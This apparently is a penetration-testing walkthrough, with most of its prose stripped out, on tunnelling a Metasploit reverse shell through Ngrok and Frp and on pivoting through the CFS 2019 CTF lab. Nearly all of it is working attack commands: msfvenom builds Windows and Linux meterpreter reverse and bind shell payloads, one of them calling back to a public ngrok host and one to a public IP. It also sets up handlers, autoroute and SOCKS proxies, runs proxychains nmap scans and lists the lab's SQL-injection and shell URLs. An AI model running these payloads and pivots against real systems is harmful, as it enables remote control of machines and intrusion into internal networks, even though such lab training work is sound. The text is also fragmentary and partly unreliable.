



-

Socks



- 1.
 2. 1 2
 - 3.
 - 4.
-



Ngrok -

Frp -

CFS - CTF 2019

1- Ngrok (-)

1. - - - http://www.ngrok.cc/
http 192.168.76.132:4444

2. 1 - - 2 - 2

./sunny clientid aa0676878c162ffc

msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 192.168.76.132

set lport 4444

exploit

2- Frp -

1. - - - -
frps.ini

[common]

bind_port = 6677

./frps -c ./frps.ini

2. - - - -
frpc.ini

[common]

server_addr = ip

server_port = 6677 #frpc frps

[msf]

type = tcp

local_ip = 127.0.0.1

local_port = 5555 # 5555

remote_port = 6000 # 6000

./frpc -c ./frpc.ini

msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.160.211 lport=6000 -f exe -o frp.exe

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 127.0.0.1

set LPORT 5555

exploit

3. frp

3-CFS - CTF 2019

2019 CTF WEB WEB

Flag, Flag Flag

Target1

- WEB (TP5_RCE)- webshell - Flag-Target2

1.

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf
```

2.

```
use exploit/multi/handler
```

```
set payload linux/x64/meterpreter/reverse_tcp
```

```
set LHOST 192.168.76.132
```

```
set LPORT 1111
```

```
exploit
```

3.

```
run get_local_subnets
```

```
run autoroute -p
```

```
run autoroute -s 192.168.22.0/24
```

```
use auxiliary/server/socks4a
```

```
set srvport 2222
```

```
exploit
```

4.

```
linux
```

```
proxychains Target2
```

```
/etc/proxychains.conf
```

```
socks4 192.168.76.132 2222
```

```
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80
```

```
-Pn
```

```
-sT TCP connect
```

```
windows
```

```
Proxifier SocksCap64
```

Target2

```
- WEB (SQL )- webshell - Flag-Target3
```

```
http://192.168.22.128/index.php?r=vul&keyword=1 #sql
```

```
http://192.168.22.128/index.php?r=admini/public/login #
```

```
http://192.168.22.128/index.php?r=special # shell
```

1.

```
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
```

2.

```
use exploit/multi/handler
```

```
set payload linux/x64/meterpreter/bind_tcp
```

```
set rhost 192.168.22.128
```

```
set LPORT 3333
```

```
exploit
```

3.

```
run get_local_subnets
```

```
run autoroute -p
```

```
run autoroute -s 192.168.33.0/24
```